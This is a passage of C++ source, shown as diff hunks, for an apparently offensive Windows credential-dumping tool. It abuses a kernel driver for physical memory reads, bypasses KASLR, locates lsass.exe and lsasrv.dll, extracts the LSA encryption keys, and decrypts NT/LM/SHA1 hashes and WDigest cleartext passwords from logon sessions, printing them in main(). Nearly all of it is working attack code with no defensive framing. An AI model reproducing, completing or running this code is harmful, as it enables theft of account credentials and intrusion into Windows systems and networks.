uint64_t cur = rp(flink_data.data(), 0);
|
||||
std::set<uint64_t> seen = { head };
|
||||
int proc_count = 0;
|
||||
|
||||
for (int i = 0; i < 500; ++i) {
|
||||
if (seen.contains(cur) || !cur || cur < 0xFFFF000000000000ULL) break;
|
||||
seen.insert(cur);
|
||||
uint64_t ep = cur - off_links;
|
||||
|
||||
auto nm = virt_read(h, ep + off_name, 16);
|
||||
if (nm.empty()) {
|
||||
auto nd = virt_read(h, cur, 8);
|
||||
cur = (nd.size() >= 8) ? rp(nd.data(), 0) : 0;
|
||||
continue;
|
||||
}
|
||||
nm.push_back(0);
|
||||
std::string img(reinterpret_cast<const char*>(nm.data()));
|
||||
for (auto& c : img) c = static_cast<char>(std::tolower(static_cast<unsigned char>(c)));
|
||||
proc_count++;
|
||||
|
||||
if (img == "lsass.exe") {
|
||||
auto dtb_data = virt_read(h, ep + 0x28, 8);
|
||||
if (dtb_data.size() < 8) throw std::runtime_error("Cannot read lsass DTB");
|
||||
uint64_t dtb = rp(dtb_data.data(), 0);
|
||||
|
||||
auto pid_data = virt_read(h, ep + off_pid, 8);
|
||||
uint64_t pid = (pid_data.size() >= 8) ? rp(pid_data.data(), 0) : 0;
|
||||
std::cout << std::format(" lsass.exe PID={} DTB={:#x}\n", pid, dtb);
|
||||
|
||||
// Auto-detect PEB offset
|
||||
auto ep2 = virt_read(h, ep, 0x800);
|
||||
if (ep2.size() < 0x800) throw std::runtime_error("Cannot read lsass EPROCESS");
|
||||
|
||||
for (uint32_t poff = 0x100; poff < 0x600; poff += 8) {
|
||||
uint64_t val = rp(ep2.data(), poff);
|
||||
if (val <= 0x10000 || val >= 0x7FFFFFFFFFFFULL) continue;
|
||||
auto peb = proc_read(h, dtb, val, 0x20);
|
||||
if (peb.size() < 0x20) continue;
|
||||
if (std::all_of(peb.begin(), peb.end(), [](uint8_t b) { return b == 0; })) continue;
|
||||
uint64_t ldr = rp(peb.data(), 0x18);
|
||||
uint64_t im = rp(peb.data(), 0x10);
|
||||
if (ldr > 0x10000 && ldr < 0x7FFFFFFFFFFFULL &&
|
||||
im > 0x10000 && im < 0x7FFFFFFFFFFFULL) {
|
||||
std::cout << std::format(" PEB={:#x} LDR={:#x}\n", val, ldr);
|
||||
return LsassInfo{ .eprocess = ep, .dtb = dtb, .peb_offset = poff };
|
||||
}
|
||||
}
|
||||
throw std::runtime_error("Cannot detect PEB offset");
|
||||
}
|
||||
|
||||
auto nd = virt_read(h, cur, 8);
|
||||
if (nd.size() < 8) break;
|
||||
cur = rp(nd.data(), 0);
|
||||
}
|
||||
|
||||
throw std::runtime_error(std::format("lsass.exe not found ({} processes)", proc_count));
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// Find lsasrv.dll via PEB->LDR module list
|
||||
// ================================================================
|
||||
ModuleInfo find_lsasrv(HANDLE h, uint64_t dtb, uint64_t ep, uint32_t peb_off) {
|
||||
uint64_t peb_va = rp(virt_read(h, ep + peb_off, 8).data(), 0);
|
||||
auto peb = proc_read(h, dtb, peb_va, 0x20);
|
||||
uint64_t ldr = rp(peb.data(), 0x18);
|
||||
|
||||
// InMemoryOrderModuleList at LDR_DATA+0x20
|
||||
uint64_t head = ldr + 0x20;
|
||||
uint64_t cur = read_ptr(h, dtb, head);
|
||||
std::set<uint64_t> seen = { head };
|
||||
|
||||
for (int i = 0; i < 200; ++i) {
|
||||
if (seen.contains(cur) || !cur) break;
|
||||
seen.insert(cur);
|
||||
|
||||
auto entry = proc_read(h, dtb, cur - 0x10, 0x80);
|
||||
if (entry.size() < 0x80) break;
|
||||
|
||||
uint64_t dll_base = rp(entry.data(), 0x30);
|
||||
uint32_t dll_size = rd(entry.data(), 0x40);
|
||||
uint16_t name_len = rw(entry.data(), 0x48);
|
||||
uint64_t name_ptr = rp(entry.data(), 0x50);
|
||||
|
||||
if (name_len && name_ptr) {
|
||||
auto raw = proc_read(h, dtb, name_ptr, std::min<uint16_t>(name_len, 512));
|
||||
std::wstring name(reinterpret_cast<const wchar_t*>(raw.data()), raw.size() / 2);
|
||||
for (auto& c : name) c = static_cast<wchar_t>(std::towlower(c));
|
||||
|
||||
if (name.find(L"lsasrv.dll") != std::wstring::npos) {
|
||||
std::cout << std::format(" lsasrv.dll base={:#x} size={:#x}\n", dll_base, dll_size);
|
||||
return ModuleInfo{ .base = dll_base, .size = dll_size };
|
||||
}
|
||||
}
|
||||
cur = rp(entry.data(), 0x10);
|
||||
}
|
||||
throw std::runtime_error("lsasrv.dll not found");
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// Read DLL from disk as raw bytes (no LoadLibrary)
|
||||
// ================================================================
|
||||
static Bytes read_dll_from_disk(const wchar_t* dll_name) {
|
||||
wchar_t sys_dir[MAX_PATH]{};
|
||||
GetSystemDirectoryW(sys_dir, MAX_PATH);
|
||||
std::wstring path = std::wstring(sys_dir) + L"\\" + dll_name;
|
||||
|
||||
std::ifstream f(path, std::ios::binary | std::ios::ate);
|
||||
if (!f) return {};
|
||||
auto sz = f.tellg();
|
||||
f.seekg(0);
|
||||
Bytes data(static_cast<size_t>(sz));
|
||||
f.read(reinterpret_cast<char*>(data.data()), sz);
|
||||
return data;
|
||||
}
|
||||
|
||||
struct PeSectionInfo {
|
||||
uint32_t virtual_address;
|
||||
uint32_t virtual_size;
|
||||
uint32_t raw_offset;
|
||||
uint32_t raw_size;
|
||||
};
|
||||
|
||||
static PeSectionInfo find_pe_text_section(const Bytes& pe) {
|
||||
if (pe.size() < 0x200) return {};
|
||||
uint32_t pe_off = rd(pe.data(), 0x3C);
|
||||
if (pe_off + 0x18 > pe.size()) return {};
|
||||
uint16_t nsec = rw(pe.data(), pe_off + 6);
|
||||
uint16_t opt_sz = rw(pe.data(), pe_off + 0x14);
|
||||
uint32_t sec_start = pe_off + 0x18 + opt_sz;
|
||||
|
||||
for (uint16_t i = 0; i < nsec; ++i) {
|
||||
uint32_t s = sec_start + i * 40;
|
||||
if (s + 40 > pe.size()) break;
|
||||
if (std::memcmp(pe.data() + s, ".text", 5) == 0) {
|
||||
return {
|
||||
.virtual_address = rd(pe.data(), s + 12),
|
||||
.virtual_size = rd(pe.data(), s + 8),
|
||||
.raw_offset = rd(pe.data(), s + 20),
|
||||
.raw_size = rd(pe.data(), s + 16),
|
||||
};
|
||||
}
|
||||
}
|
||||
return {};
|
||||
}
|
||||
|
||||
static uint32_t local_search(const uint8_t* mem, uint32_t size,
|
||||
const uint8_t* sig, uint32_t sig_len) {
|
||||
for (uint32_t i = 0; i + sig_len <= size; ++i)
|
||||
if (std::memcmp(mem + i, sig, sig_len) == 0) return i;
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Resolve RIP-relative disp32 from raw file bytes -> returns RVA of target
|
||||
static uint32_t resolve_rip_raw(const uint8_t* text_raw, uint32_t text_va,
|
||||
uint32_t instruction_off_in_text) {
|
||||
int32_t disp;
|
||||
std::memcpy(&disp, text_raw + instruction_off_in_text, 4);
|
||||
uint32_t instruction_rva = text_va + instruction_off_in_text + 4;
|
||||
return static_cast<uint32_t>(static_cast<int32_t>(instruction_rva) + disp);
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// Extract LSA encryption keys (local file scan + remote key reads)
|
||||
// ================================================================
|
||||
LsaKeys extract_lsa_keys(HANDLE h, uint64_t dtb, uint64_t base, uint32_t size) {
|
||||
auto dll = read_dll_from_disk(L"lsasrv.dll");
|
||||
if (dll.size() < 0x1000)
|
||||
throw std::runtime_error("Cannot read lsasrv.dll from disk");
|
||||
|
||||
auto text = find_pe_text_section(dll);
|
||||
if (!text.raw_size)
|
||||
throw std::runtime_error("Cannot find .text in lsasrv.dll");
|
||||
|
||||
const uint8_t* text_raw = dll.data() + text.raw_offset;
|
||||
|
||||
for (auto& sig : LSA_SIGS) {
|
||||
uint32_t sig_off = local_search(text_raw, text.raw_size,
|
||||
sig.pattern, static_cast<uint32_t>(sig.pattern_len));
|
||||
if (sig_off == 0) continue;
|
||||
|
||||
try {
|
||||
uint32_t iv_rva = resolve_rip_raw(text_raw, text.virtual_address, sig_off + sig.iv_off);
|
||||
uint32_t des_rva = resolve_rip_raw(text_raw, text.virtual_address, sig_off + sig.des_off);
|
||||
uint32_t aes_rva = resolve_rip_raw(text_raw, text.virtual_address, sig_off + sig.aes_off);
|
||||
|
||||
auto iv = proc_read(h, dtb, base + iv_rva, 16);
|
||||
if (iv.size() < 16 || std::all_of(iv.begin(), iv.end(), [](uint8_t b) { return b == 0; }))
|
||||
continue;
|
||||
|
||||
auto des = extract_bcrypt_key(h, dtb, base + des_rva, sig.hk_off);
|
||||
auto aes = extract_bcrypt_key(h, dtb, base + aes_rva, sig.hk_off);
|
||||
if (!des.empty() && !aes.empty()) {
|
||||
return LsaKeys{ .iv = std::move(iv), .aes_key = std::move(aes),
|
||||
.des_key = std::move(des) };
|
||||
}
|
||||
} catch (...) { continue; }
|
||||
}
|
||||
throw std::runtime_error("LSA keys not found");
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// Find LogonSessionList (local file scan + remote validation)
|
||||
// ================================================================
|
||||
LogonListInfo find_logon_list(HANDLE h, uint64_t dtb, uint64_t base, uint32_t size, uint32_t build) {
|
||||
auto dll = read_dll_from_disk(L"lsasrv.dll");
|
||||
if (dll.size() < 0x1000)
|
||||
throw std::runtime_error("Cannot read lsasrv.dll from disk");
|
||||
|
||||
auto text = find_pe_text_section(dll);
|
||||
if (!text.raw_size)
|
||||
throw std::runtime_error("Cannot find .text in lsasrv.dll");
|
||||
|
||||
const uint8_t* text_raw = dll.data() + text.raw_offset;
|
||||
|
||||
for (auto& sig : MSV_SIGS) {
|
||||
if (build < sig.min_build) continue;
|
||||
|
||||
uint32_t sig_off = local_search(text_raw, text.raw_size,
|
||||
sig.pattern, static_cast<uint32_t>(sig.pattern_len));
|
||||
if (sig_off == 0) continue;
|
||||
|
||||
try {
|
||||
uint32_t fe_rva = resolve_rip_raw(text_raw, text.virtual_address,
|
||||
sig_off + sig.fe_off);
|
||||
uint64_t list_ptr = base + fe_rva;
|
||||
|
||||
if (sig.corr_off) {
|
||||
uint32_t extra = rd(text_raw, sig_off + sig.corr_off);
|
||||
list_ptr += extra;
|
||||
}
|
||||
|
||||
uint64_t head = read_ptr(h, dtb, list_ptr);
|
||||
if (head && head != list_ptr) {
|
||||
uint32_t count = 1;
|
||||
if (build >= 9200 && sig.cnt_off) {
|
||||
uint32_t cnt_rva = resolve_rip_raw(text_raw, text.virtual_address,
|
||||
sig_off + sig.cnt_off);
|
||||
auto cb = proc_read(h, dtb, base + cnt_rva, 1);
|
||||
if (!cb.empty() && cb[0]) count = cb[0];
|
||||
}
|
||||
return LogonListInfo{ .list_ptr = list_ptr, .count = count };
|
||||
}
|
||||
} catch (...) { continue; }
|
||||
}
|
||||
throw std::runtime_error("LogonSessionList not found");
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// Credential walking internals
|
||||
// ================================================================
|
||||
static void walk_primary(HANDLE h, uint64_t dtb, uint64_t pc_ptr,
|
||||
const LsaKeys& keys,
|
||||
std::vector<Credential>& results,
|
||||
const std::wstring& user, const std::wstring& domain) {
|
||||
std::set<uint64_t> seen;
|
||||
uint64_t cur = pc_ptr;
|
||||
|
||||
while (cur && !seen.contains(cur) && seen.size() < 20) {
|
||||
seen.insert(cur);
|
||||
auto pd = proc_read(h, dtb, cur, 0x60);
|
||||
if (pd.size() < 0x60) break;
|
||||
|
||||
bool all_zero = std::all_of(pd.begin(), pd.end(), [](uint8_t b) { return b == 0; });
|
||||
if (all_zero) break;
|
||||
|
||||
uint64_t nxt = rp(pd.data(), 0);
|
||||
auto pkg = read_astr(h, dtb, pd.data(), 8);
|
||||
uint16_t enc_len = rw(pd.data(), 0x18);
|
||||
uint64_t enc_buf = rp(pd.data(), 0x20);
|
||||
|
||||
if (pkg == "Primary" && enc_len > 0 && enc_len < 0x10000 && enc_buf) {
|
||||
auto blob = proc_read(h, dtb, enc_buf, enc_len);
|
||||
bool blob_zero = std::all_of(blob.begin(), blob.end(), [](uint8_t b) { return b == 0; });
|
||||
|
||||
if (!blob_zero) {
|
||||
auto dec = lsa_decrypt(blob, keys.aes_key, keys.des_key, keys.iv);
|
||||
if (dec.size() >= 70 && !dec[40] && dec[41]) {
|
||||
// !isIso && isNtOwf
|
||||
std::span<const uint8_t> nt_span (dec.data() + 0x46, 16);
|
||||
std::span<const uint8_t> lm_span (dec.data() + 0x56, 16);
|
||||
std::span<const uint8_t> sha_span (dec.data() + 0x66, 20);
|
||||
|
||||
results.push_back(Credential{
|
||||
.user = user,
|
||||
.domain = domain,
|
||||
.nt_hash = to_hex(nt_span),
|
||||
.lm_hash = to_hex(lm_span),
|
||||
.sha_hash = to_hex(sha_span),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!nxt || nxt == pc_ptr) break;
|
||||
cur = nxt;
|
||||
}
|
||||
}
|
||||
|
||||
static void walk_creds(HANDLE h, uint64_t dtb, uint64_t cred_ptr,
|
||||
const LsaKeys& keys,
|
||||
std::vector<Credential>& results,
|
||||
const std::wstring& user, const std::wstring& domain) {
|
||||
std::set<uint64_t> seen;
|
||||
uint64_t cur = cred_ptr;
|
||||
|
||||
while (cur && !seen.contains(cur) && seen.size() < 20) {
|
||||
seen.insert(cur);
|
||||
auto cd = proc_read(h, dtb, cur, 0x20);
|
||||
if (cd.size() < 0x20) break;
|
||||
|
||||
uint64_t nxt = rp(cd.data(), 0);
|
||||
uint64_t pc = rp(cd.data(), 0x10);
|
||||
|
||||
if (pc)
|
||||
walk_primary(h, dtb, pc, keys, results, user, domain);
|
||||
|
||||
if (!nxt || nxt == cred_ptr) break;
|
||||
cur = nxt;
|
||||
}
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// Walk all logon sessions and extract credentials
|
||||
// ================================================================
|
||||
std::vector<Credential> extract_creds(HANDLE h, uint64_t dtb,
|
||||
uint64_t list_ptr, uint32_t count,
|
||||
uint32_t build,
|
||||
const LsaKeys& keys) {
|
||||
auto offsets = session_offsets(build);
|
||||
std::vector<Credential> results;
|
||||
|
||||
for (uint32_t idx = 0; idx < count; ++idx) {
|
||||
uint64_t head_va = list_ptr + idx * 16;
|
||||
uint64_t entry = read_ptr(h, dtb, head_va);
|
||||
std::set<uint64_t> seen = { head_va };
|
||||
|
||||
while (entry && !seen.contains(entry) && seen.size() < 100) {
|
||||
seen.insert(entry);
|
||||
|
||||
auto data = proc_read(h, dtb, entry, 0x200);
|
||||
if (data.size() < 0x200) break;
|
||||
|
||||
bool all_zero = std::all_of(data.begin(), data.end(),
|
||||
[](uint8_t b) { return b == 0; });
|
||||
if (all_zero) break;
|
||||
|
||||
auto user = read_ustr(h, dtb, data.data(), offsets.user);
|
||||
auto domain = read_ustr(h, dtb, data.data(), offsets.domain);
|
||||
uint64_t cred = rp(data.data(), offsets.cred_ptr);
|
||||
|
||||
if (!user.empty() && cred)
|
||||
walk_creds(h, dtb, cred, keys, results, user, domain);
|
||||
|
||||
entry = rp(data.data(), 0); // flink
|
||||
}
|
||||
}
|
||||
return results;
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
#pragma once
|
||||
#include "memory.h"
|
||||
// ----------------------------------------------------------------
|
||||
// SubCmd 2 results: KASLR bypass + CPU register info
|
||||
// ----------------------------------------------------------------
|
||||
struct SubCmd2Info {
|
||||
uint64_t ntos_base; // ntoskrnl base (IDTR -> IDT -> ISR -> MZ scan)
|
||||
uint64_t kpcr; // gsbase = KPCR
|
||||
uint64_t cr3; // current process DTB
|
||||
};
|
||||
|
||||
SubCmd2Info kaslr_bypass(HANDLE h);
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Lsass location info
|
||||
// ----------------------------------------------------------------
|
||||
struct LsassInfo {
|
||||
uint64_t eprocess;
|
||||
uint64_t dtb;
|
||||
uint32_t peb_offset;
|
||||
};
|
||||
|
||||
// Find lsass via NtQuerySystemInformation(SystemExtendedHandleInformation)
|
||||
// to leak our EPROCESS from the kernel handle table, then walk ActiveProcessLinks.
|
||||
LsassInfo find_lsass(HANDLE driver_handle);
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Module info
|
||||
// ----------------------------------------------------------------
|
||||
struct ModuleInfo {
|
||||
uint64_t base;
|
||||
uint32_t size;
|
||||
};
|
||||
|
||||
ModuleInfo find_lsasrv(HANDLE h, uint64_t dtb, uint64_t ep, uint32_t peb_off);
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// LSA encryption keys
|
||||
// ----------------------------------------------------------------
|
||||
struct LsaKeys {
|
||||
Bytes iv;
|
||||
Bytes aes_key;
|
||||
Bytes des_key;
|
||||
};
|
||||
|
||||
LsaKeys extract_lsa_keys(HANDLE h, uint64_t dtb, uint64_t base, uint32_t size);
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Logon session list
|
||||
// ----------------------------------------------------------------
|
||||
struct LogonListInfo {
|
||||
uint64_t list_ptr;
|
||||
uint32_t count;
|
||||
};
|
||||
|
||||
LogonListInfo find_logon_list(HANDLE h, uint64_t dtb, uint64_t base, uint32_t size, uint32_t build);
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Extract all credentials
|
||||
// ----------------------------------------------------------------
|
||||
std::vector<Credential> extract_creds(HANDLE h, uint64_t dtb,
|
||||
uint64_t list_ptr, uint32_t count,
|
||||
uint32_t build,
|
||||
const LsaKeys& keys);
|
||||
+198
@@ -0,0 +1,198 @@
|
||||
#include "lsa.h"
|
||||
#include "wdigest.h"
|
||||
#include <winreg.h>
|
||||
#include <cstdio>
|
||||
#include <set>
|
||||
#include <tuple>
|
||||
|
||||
static uint32_t get_build_number() {
|
||||
HKEY hk = nullptr;
|
||||
RegOpenKeyExW(HKEY_LOCAL_MACHINE,
|
||||
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_READ, &hk);
|
||||
if (!hk) throw std::runtime_error("Cannot read build number");
|
||||
wchar_t buf[32]{};
|
||||
DWORD size = sizeof(buf);
|
||||
RegQueryValueExW(hk, L"CurrentBuildNumber", nullptr, nullptr,
|
||||
reinterpret_cast<LPBYTE>(buf), &size);
|
||||
RegCloseKey(hk);
|
||||
return static_cast<uint32_t>(std::wcstoul(buf, nullptr, 10));
|
||||
}
|
||||
|
||||
static bool is_elevated() {
|
||||
BOOL elevated = FALSE;
|
||||
HANDLE token = nullptr;
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) {
|
||||
TOKEN_ELEVATION elev{};
|
||||
DWORD sz = sizeof(elev);
|
||||
GetTokenInformation(token, TokenElevation, &elev, sizeof(elev), &sz);
|
||||
elevated = elev.TokenIsElevated;
|
||||
CloseHandle(token);
|
||||
}
|
||||
return elevated != FALSE;
|
||||
}
|
||||
|
||||
static void print_separator() {
|
||||
std::cout << std::format("{:=<70}\n", "");
|
||||
}
|
||||
|
||||
static int guarded_main();
|
||||
|
||||
int main() {
|
||||
std::cout.setf(std::ios::unitbuf);
|
||||
std::cerr.setf(std::ios::unitbuf);
|
||||
setvbuf(stdout, nullptr, _IONBF, 0);
|
||||
|
||||
__try {
|
||||
return guarded_main();
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
DWORD code = GetExceptionCode();
|
||||
fprintf(stderr, "\n[-] SEH EXCEPTION: 0x%08lX", code);
|
||||
if (code == EXCEPTION_ACCESS_VIOLATION)
|
||||
fprintf(stderr, " (ACCESS_VIOLATION)");
|
||||
fprintf(stderr, "\n");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
static int guarded_main() {
|
||||
try {
|
||||
if (!is_elevated()) {
|
||||
std::cerr << "[-] Run as Administrator\n";
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto build = get_build_number();
|
||||
std::cout << std::format("[*] Windows Build {}\n", build);
|
||||
|
||||
// ---- Driver setup ----
|
||||
std::cout << "[*] Setting up KslD driver...\n";
|
||||
auto state = setup_ksld();
|
||||
HANDLE h = state.handle.get();
|
||||
std::cout << "[+] Driver loaded\n";
|
||||
|
||||
std::vector<Credential> msv_creds;
|
||||
std::vector<WDigestCredential> wd_creds;
|
||||
|
||||
// Shared state from lsass discovery
|
||||
LsassInfo lsass{};
|
||||
LsaKeys keys{};
|
||||
bool have_keys = false;
|
||||
|
||||
try {
|
||||
// ---- KASLR bypass ----
|
||||
std::cout << "[*] KASLR bypass (SubCmd 2)...\n";
|
||||
auto info = kaslr_bypass(h);
|
||||
std::cout << std::format(" ntoskrnl={:#x}\n", info.ntos_base);
|
||||
|
||||
// ---- EPROCESS leak + lsass walk ----
|
||||
std::cout << "[*] Finding lsass.exe...\n";
|
||||
lsass = find_lsass(h);
|
||||
|
||||
// ---- Find lsasrv.dll ----
|
||||
std::cout << "[*] Finding lsasrv.dll...\n";
|
||||
auto lsasrv = find_lsasrv(h, lsass.dtb, lsass.eprocess, lsass.peb_offset);
|
||||
|
||||
// ---- LSA keys ----
|
||||
std::cout << "[*] Extracting LSA encryption keys...\n";
|
||||
keys = extract_lsa_keys(h, lsass.dtb, lsasrv.base, lsasrv.size);
|
||||
have_keys = true;
|
||||
std::cout << " LSA keys found\n";
|
||||
|
||||
// ---- Phase 1: MSV1_0 ----
|
||||
std::cout << "[*] Finding LogonSessionList...\n";
|
||||
auto logon = find_logon_list(h, lsass.dtb, lsasrv.base, lsasrv.size, build);
|
||||
|
||||
std::cout << "[*] Extracting MSV1_0 credentials...\n";
|
||||
msv_creds = extract_creds(h, lsass.dtb, logon.list_ptr, logon.count, build, keys);
|
||||
|
||||
// Deduplicate
|
||||
{
|
||||
std::set<std::tuple<std::wstring, std::wstring, std::string>> seen;
|
||||
std::vector<Credential> unique;
|
||||
for (auto& c : msv_creds) {
|
||||
auto key = std::make_tuple(c.user, c.domain, c.nt_hash);
|
||||
if (!seen.contains(key)) {
|
||||
seen.insert(key);
|
||||
unique.push_back(std::move(c));
|
||||
}
|
||||
}
|
||||
msv_creds = std::move(unique);
|
||||
}
|
||||
|
||||
} catch (const std::exception& e) {
|
||||
std::cerr << std::format("[-] MSV1_0 phase: {}\n", e.what());
|
||||
}
|
||||
|
||||
// ---- Phase 2: WDigest ----
|
||||
if (have_keys) {
|
||||
try {
|
||||
std::cout << "[*] Checking WDigest...\n";
|
||||
wd_creds = extract_wdigest_creds(h, lsass.dtb,
|
||||
lsass.eprocess, lsass.peb_offset, keys);
|
||||
|
||||
// Deduplicate
|
||||
{
|
||||
std::set<std::tuple<std::wstring, std::wstring, std::wstring>> seen;
|
||||
std::vector<WDigestCredential> unique;
|
||||
for (auto& c : wd_creds) {
|
||||
auto key = std::make_tuple(c.user, c.domain, c.password);
|
||||
if (!seen.contains(key)) {
|
||||
seen.insert(key);
|
||||
unique.push_back(std::move(c));
|
||||
}
|
||||
}
|
||||
wd_creds = std::move(unique);
|
||||
}
|
||||
} catch (const std::exception& e) {
|
||||
std::cout << std::format(" WDigest: {}\n", e.what());
|
||||
}
|
||||
}
|
||||
|
||||
// ---- Cleanup ----
|
||||
std::cout << "[*] Restoring driver configuration...\n";
|
||||
cleanup_ksld(state);
|
||||
|
||||
// ---- Output ----
|
||||
std::cout << "\n";
|
||||
print_separator();
|
||||
std::cout << " MSV1_0 CREDENTIALS\n";
|
||||
print_separator();
|
||||
|
||||
if (msv_creds.empty()) {
|
||||
std::cout << "[-] No MSV1_0 credentials extracted\n";
|
||||
} else {
|
||||
std::cout << std::format("[+] {} credential(s):\n\n", msv_creds.size());
|
||||
for (auto& c : msv_creds) {
|
||||
std::wcout << std::format(L" {}\\{}\n", c.domain, c.user);
|
||||
std::cout << std::format(" NT: {}\n", c.nt_hash);
|
||||
if (!c.sha_hash.empty() && c.sha_hash != std::string(40, '0'))
|
||||
std::cout << std::format(" SHA1: {}\n", c.sha_hash);
|
||||
std::cout << "\n";
|
||||
}
|
||||
}
|
||||
|
||||
std::cout << "\n";
|
||||
print_separator();
|
||||
std::cout << " WDIGEST CREDENTIALS (Cleartext)\n";
|
||||
print_separator();
|
||||
if (wd_creds.empty()) {
|
||||
std::cout << "[-] No WDigest credentials (caching disabled or no logon since patch)\n";
|
||||
} else {
|
||||
std::cout << std::format("[+] {} credential(s):\n\n", wd_creds.size());
|
||||
for (auto& c : wd_creds) {
|
||||
std::wcout << std::format(L" {}\\{}\n", c.domain, c.user);
|
||||
std::wcout << std::format(L" Password: {}\n\n", c.password);
|
||||
}
|
||||
}
|
||||
|
||||
print_separator();
|
||||
std::cout << std::format("[*] Total: {} MSV1_0, {} WDigest\n",
|
||||
msv_creds.size(), wd_creds.size());
|
||||
|
||||
} catch (const std::exception& e) {
|
||||
std::cerr << std::format("\n[-] FATAL: {}\n", e.what());
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
+162
@@ -0,0 +1,162 @@
|
||||
#include "memory.h"
|
||||
#include <algorithm>
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Page table walk: PML4 -> PDPT -> PD -> PT
|
||||
// Supports large pages (1GB, 2MB) and transition pages
|
||||
// ----------------------------------------------------------------
|
||||
std::optional<uint64_t> vtp(HANDLE h, uint64_t dtb, uint64_t va) {
|
||||
uint64_t table_base = dtb & PFN_MASK;
|
||||
|
||||
struct Level {
|
||||
int shift;
|
||||
uint64_t large_mask;
|
||||
bool can_be_large;
|
||||
};
|
||||
|
||||
constexpr Level levels[] = {
|
||||
{ 39, 0, false }, // PML4
|
||||
{ 30, 0xFFFFC0000000ULL, true }, // PDPT (1GB page)
|
||||
{ 21, 0xFFFFFFFE00000ULL, true }, // PD (2MB page)
|
||||
};
|
||||
|
||||
for (auto& lvl : levels) {
|
||||
size_t idx = (va >> lvl.shift) & 0x1FF;
|
||||
auto entry_data = phys_read(h, table_base + idx * 8, 8);
|
||||
if (entry_data.empty()) return std::nullopt;
|
||||
uint64_t entry = rp(entry_data.data(), 0);
|
||||
|
||||
if (!(entry & 1)) return std::nullopt;
|
||||
|
||||
if (lvl.can_be_large && (entry & 0x80)) {
|
||||
return (entry & lvl.large_mask) | (va & ((1ULL << lvl.shift) - 1));
|
||||
}
|
||||
|
||||
table_base = entry & PFN_MASK;
|
||||
}
|
||||
|
||||
// PT level
|
||||
size_t idx = (va >> 12) & 0x1FF;
|
||||
auto entry_data = phys_read(h, table_base + idx * 8, 8);
|
||||
if (entry_data.empty()) return std::nullopt;
|
||||
uint64_t entry = rp(entry_data.data(), 0);
|
||||
|
||||
// Present
|
||||
if (entry & 1)
|
||||
return (entry & PFN_MASK) | (va & 0xFFF);
|
||||
|
||||
// Transition page (standby list, bit 11 set)
|
||||
if (entry & 0x800) {
|
||||
constexpr uint64_t masks[] = { 0xFFFFFF000ULL, 0xFFFFFFF000ULL, 0xFFFFFFFF000ULL, PFN_MASK };
|
||||
for (auto mask : masks) {
|
||||
uint64_t pa = (entry & mask) | (va & 0xFFF);
|
||||
auto test = phys_read(h, pa & ~0xFFFULL, 16);
|
||||
if (!test.empty()) {
|
||||
bool all_zero = std::all_of(test.begin(), test.begin() + 16,
|
||||
[](uint8_t b) { return b == 0; });
|
||||
if (!all_zero) return pa;
|
||||
}
|
||||
}
|
||||
return (entry & 0xFFFFFF000ULL) | (va & 0xFFF);
|
||||
}
|
||||
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Read from process virtual address space via physical translation
|
||||
// ----------------------------------------------------------------
|
||||
Bytes proc_read(HANDLE h, uint64_t dtb, uint64_t va, size_t size) {
|
||||
Bytes result;
|
||||
result.reserve(size);
|
||||
size_t off = 0;
|
||||
|
||||
while (off < size) {
|
||||
uint64_t page_off = (va + off) & 0xFFF;
|
||||
size_t chunk = std::min<size_t>(size - off, 0x1000 - page_off);
|
||||
|
||||
auto pa = vtp(h, dtb, va + off);
|
||||
if (!pa.has_value()) {
|
||||
result.insert(result.end(), chunk, 0);
|
||||
} else {
|
||||
auto data = phys_read(h, *pa, chunk);
|
||||
if (data.size() >= chunk) {
|
||||
result.insert(result.end(), data.begin(), data.begin() + chunk);
|
||||
} else {
|
||||
result.insert(result.end(), chunk, 0);
|
||||
}
|
||||
}
|
||||
off += chunk;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Read a single pointer from process VA
|
||||
// ----------------------------------------------------------------
|
||||
uint64_t read_ptr(HANDLE h, uint64_t dtb, uint64_t va) {
|
||||
auto d = proc_read(h, dtb, va, 8);
|
||||
return d.size() >= 8 ? rp(d.data(), 0) : 0;
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Resolve RIP-relative 32-bit displacement
|
||||
// ----------------------------------------------------------------
|
||||
uint64_t resolve_rip(HANDLE h, uint64_t dtb, uint64_t va) {
|
||||
auto d = proc_read(h, dtb, va, 4);
|
||||
if (d.size() < 4) return 0;
|
||||
return va + 4 + ri(d.data(), 0);
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Read UNICODE_STRING { USHORT Length; USHORT MaxLength; PWSTR Buffer; }
|
||||
// ----------------------------------------------------------------
|
||||
std::wstring read_ustr(HANDLE h, uint64_t dtb, const uint8_t* data, size_t off) {
|
||||
uint16_t length = rw(data, off);
|
||||
uint64_t buf = rp(data, off + 8);
|
||||
if (!length || !buf) return {};
|
||||
|
||||
auto raw = proc_read(h, dtb, buf, length);
|
||||
if (raw.size() < length) return {};
|
||||
|
||||
return std::wstring(
|
||||
reinterpret_cast<const wchar_t*>(raw.data()),
|
||||
length / sizeof(wchar_t)
|
||||
);
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
